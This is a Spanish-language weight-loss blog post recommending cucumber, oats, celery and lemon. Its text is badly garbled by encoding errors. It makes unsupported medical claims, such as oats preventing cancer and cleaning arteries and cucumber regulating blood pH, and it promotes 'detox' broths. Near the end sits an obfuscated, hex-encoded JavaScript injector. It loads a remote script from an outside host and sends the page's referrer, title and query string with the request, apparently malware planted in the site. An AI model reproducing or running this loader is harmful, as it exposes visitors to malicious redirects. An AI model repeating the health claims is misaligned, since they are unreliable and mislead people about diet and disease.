5 Alimentos que Ayudan a Bajar de Peso

En esta oportunidad te presentamos alimentos que ayudan a bajar de peso de forma fA?cil y natural, pero principalmente debes saber escoger los mA?s nutritivos e incluirlos en la dieta que te facilitaran los objetivos que deseas. AsA� que esperas para optar por estas medidas fA?ciles y saludables y sin mucho costo. Como ya sabrA?s la obesidad incrementa el riesgo de enfermedades cardiovasculares, y eventos cerebrovasculares, es por esto que la reducciA?n de la calorA�as es lo primordial y debes elegir los alimentos adecuados para conseguir el plan alimenticio ideal

Pepino

Posee vitaminas A, C, K, y otros minerales como el calcio, magnesio, zinc, hierro, cobre, fosforo, manganeso. Estos alimentos que ayudan a bajar de peso es rico en fibra y harA? disminuir la cintura en pocos dA�as. DeberA?s aA�adir a las ensaladas, sin sal y con aceite de oliva. alimentos que ayudan a bajar de peso en quince dias

Esta es una especie de vegetal saciante, no solo posee propiedades de nutrientes que son muy esenciales para el organismo, ademA?sA� contiene efectos terapA�uticos benA�ficos de la salud.

TambiA�n deberA�as leer: Malteadas que te ayudaran a adelgazar en simples pasos

Muchas de las personas pensaban que el pepino actuaba A?nicamente como un elemento refrescante, no obstante las cualidades que realmente posee son muchas y dentro de ellas estaA� el neutralizar el apetito. El pepino entra en grupo de la sandia o patilla, calabaza, calabacA�n. La forma es como un cilindro, con un tono que va del color verde y su piel es similar a la patilla, y en el interior es de carne muy jugosa y el tono verde serA? mas claro.

Consumes de forma frecuente el pepino

Si no has incorporado a tu dieta, te invito a que descubras las propiedades depurativas por ningA?n motivo debe faltar a tu mesa. Como ya sabes es utilizando como dietas adelgazantes ya que los mA?ltiples beneficios de estos alimentos que ayudan a bajar de peso siendo tan importantes a la hora de elegirlo, y es donde el pepino se destaca entre los vegetales ideal para esos kilitos de mas.

Sin duda alguna los profesionales de la belleza y salud, el pepino es mA?gico, como por ejemplo debes cortarlo en ruedas, y posee un sustancia llamada acido cafeico de este rico vegetal colaborando en la retenciA?n de lA�quidos y al ser aplicado como un remedio natural, te funcionara contra la inflamaciA?n de los ojos.

Loading...

ComposiciA?n del pepino

  • Agua: 95%
  • ProteA�nas
  • CalorA�as
  • Minerales
  • Vitaminas
  • Grasas

Beneficios del pepino

Estos nutrientes aportan escasas calorA�as gracias a las propiedades depurativas. No todas las personas conoces lo beneficios que los alimentos que ayudan a bajar de peso, te proporcionarA? a la salud. Te recomiendo esta opciA?n de jugos naturales para adelgazar, y veras las maravillas y los usos del pepino

DiurA�tico: esta formado por un gran porcentaje de agua, estimulando la funciA?n del riA�A?n.

Laxante: posee un alto contenido de fibras, mayormente en sus semillas, es ideal para personas con el colon irritable o diverticulitis.

Ayuda a proteger la mucosa del tracto gastrointestinal: protector a nivel de la mucosa gA?strica e intestino, debido a la enzima llamada erepsina.

Combate la acidez estomacal: es A?til en la regulaciA?n del pH en la sangre, contrarrestano la acidez, siendo posible gracias a los minerales y las propiedades alcalinas. Las gastritis y las ulceras duodenalesA� responden bien a los jugos de pepino.

Mejora la presiA?n arterial: al igual que el apio, bebidas con cualidades incoloras ayudando a controlar la presiona arterial.

Avena

Pocos de los alimentos que ayudan a bajar de peso son tan saludables como la avena. Algunos estudios realizados dicen que es un excelente regulador metabA?lico, depurando todo lo que hay en el organismo, cubriendo todas las carencias. Cuida el corazA?n, el intestino y lo mejor de todo te ayudara a adelgazarA� semana a semana. A? te interesa saber como?alimentos que ayudan a bajar de peso facilmente

La administraciA?n de alimentos y medicamentos estadounidense indica que es unos de los alimentos saludablesA� que puedas encontrar con una alta fuente de energA�a y vitalidad que debes empezar a incluir en tu dieta. Siendo un modo natural y eficaz lo cual iras bajando de peso progresivamente sin sufrir demasiado ni pasar hambre.

Algunos beneficios de la avena

Cuida el corazA?n y reduce el colesterol

Con solo tomar una infusiA?n de avena, o agua de avena en ayunas ayudara a bajar los niveles de colesterol en sangre. Esta compuesto en aceites grasos naturales como acido linoleico, y omega 6, capaces de prevenir cualquier enfermedad cardiovascular.

Depurativa: dispone de aminoA?cidos esenciales que producen lecitina en el hA�gado, siendo necesario para depurar el organismo de forma natural. Consumir avena te permitirA? limpiar las paredes de las arterias, gracias a la fibra que arrastra los depA?sitos de grasa que hay en ellas.

Baja en calorA�as: contiene pocas calorA�as y posee un gran efecto saciante. Las grasas naturales que posee, son vitaminas, fibras oligoelementos, sin duda unos de los alimentos que ayudan a bajar de peso ideal.

Control de azA?car

La avena es ideal para la dieta de diabA�ticos, la fibra que posee mejora la digestiA?n del almidA?n manteniendo los niveles estables de glicemia.

Mejora la digestiA?n

Facilita el transito intestinal evitando el estreA�imiento. AdemA?s los carbohidratos e absorben de forma lenta, lo cual te aporta una sensaciA?n de saciedad ideal para perder los kilos de mas y no tener la necesidad de comer en otras horas o demasiado.

Es anticancerA�gena

Son muchos de los estudios que existan, concluyendo que diversos fitoquimicos contiene la avena, te ayudara a prevenir el cA?ncer, siendo recomendable consumirla a diario.

Por que la avena te permitirA? bajar de peso

La avena en ayunas te ayudara a adelgazar por su composiciA?n, aportando una sensaciA?n de saciedad, sin tener la necesidad de picar entre horas y no comer en grandes cantidades.

Elimina las toxinas que el cuerpo contiene que va produciendo y almacenando y a travA�s de estos alimentos que ayudan a bajar de peso te aportara vitamina y aminoA?cidos.

Es diurA�tica ya que impide la acumulaciA?n lA�quidos que se encuentran retenidos en el cuerpo y te harA? sentir mejor.

Cada cuanto debes tomar la avena para ir perdiendo peso

Toma la avena en ayunas para bajar de peso durante un mes continuo. Esto te permitirA? estar saciada casi toda la maA�anaA� dA?ndote energA�a y fibra necesaria que tu cuerpo requiere, tambiA�n puedes tomar un vaso antes de cada comida principal.

Como puedes tomarla

Toma una taza de avena, 1 rama de canela y 1 litro de agua. En la batidora, coloca la avena en un vaso de agua, y obtendrA?s una mezcla bien homogA�nea. Luego puedes incluir los demA?s ingredientes como la canela o el edulcorante que desees o cucharaditas de miel. Si quieres puedes colar, luego coloca A�en el refrigerador, asA� podrA?s tomarlo durante todo el dA�a. Comienza en el desayuno con vaso de avena y entre las comidas, te sentirA?s nutrida.

Ejemplo de una dieta con avena

Desayuno: 1 vaso de avena acompaA�ado con manzana.

Almuerzo: 1 vaso de agua con avena como bebida. AcompA?A�ala con una ensalada de espinacas, nueces, espA?rragos y pechuga de pavo.

Merienda: una infusiA?n de te verde.

Cena: vaso de avena, postre de manzana con canela, berenjenas al horno.

Como puedes observar, lo mas importante es comenzar vaso de agua con avena, tambiA�n puedes incluirlas malteadas en tus comidas, deben ser equilibradas y no cometer excesos. Si consumes de esta forma esta dieta en mes comprobaras como ir bajando de peso poco a poco.

Apio

Ayuda a bajar los niveles de colesterol. Utilizado como un supresor del apetito ya que es muy rico en fibras y bajos en calorA�as. El zumo del apio, es antiinflamatorio, excelente para ayudar a desintoxicar cada parte del organismo, posee un gran efecto diurA�tico, eliminado lA�quidos y otras toxinas, aumentando el transito intestinal.alimentos que ayudan a bajar de peso de forma nutritiva

Caldo desintoxicante

En una olla con 3 litros de agua, aA�adiendo una rama de apio, 2 manzanas verdes o rojas, 1cebolla grande, y dejA?ndolo hervir todo, hasta que estA�n blandos los ingredientes. Debes colar y guA?rdalo en la nevera, toma una taza de caldo de apio, antes de comer y aA�adiendo zumo de limA?n. Puedes tomarlo por lo menos 3 veces al dA�a, puedes consumir esta sopa a base de alimentos que ayudan a bajar de peso, el tiempo que requieras. Es disinflamatorio, permitiendo perder lA�quidos acumulados, y empezaras ver los resultados en pocas semanas.

Prueba tambiA�n la sopa de la cebolla excelente quema grasa

LimA?n

Es una fuente rica de vitamina C aumentando la funciA?n hepA?tica, el metabolismo de las grasas, y los niveles de glucosa, poderoso antioxidante, haciendo que adelgaces desintoxicando el cuerpo con mucho mayor eficiencia. Esta mas decir que el limA?n es un excelente diurA�tico, siendo eficaz consumir el zumo de limA?n con agua tibia en ayunas, limpiando el intestino, promoviendo la diuresisA� y perdida de peso.alimentos que ayudan a bajar de peso rapidamente

Son muchas de las personas que quieren y desean tener un ritmo de vida saludable, como por ejemplo beber un vaso de limA?n tibio en ayunas. Y es que algo tan sencillo y con poco coste te conllevara a increA�bles beneficios.

Conoce y descubre los beneficios del limA?n para bajar de peso ahora

TeA� resultarA? muy curioso incluir en tu vida diaria todos estos alimentos que ayudan a bajar de peso. Comienza desde ahora una vida saludable a travA�s de estos trucos que te damos fA?ciles de implementar en tu plan alimenticio, siendo unos de los remedios caseros mas conocidos en todo el mundo. AsA� que toma nota y mejora tu vida diariamente.

var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Loading...

Comments on this entry are closed.

  • Nancy Herrera marzo 23, 2016, 2:31 pm

    Excelente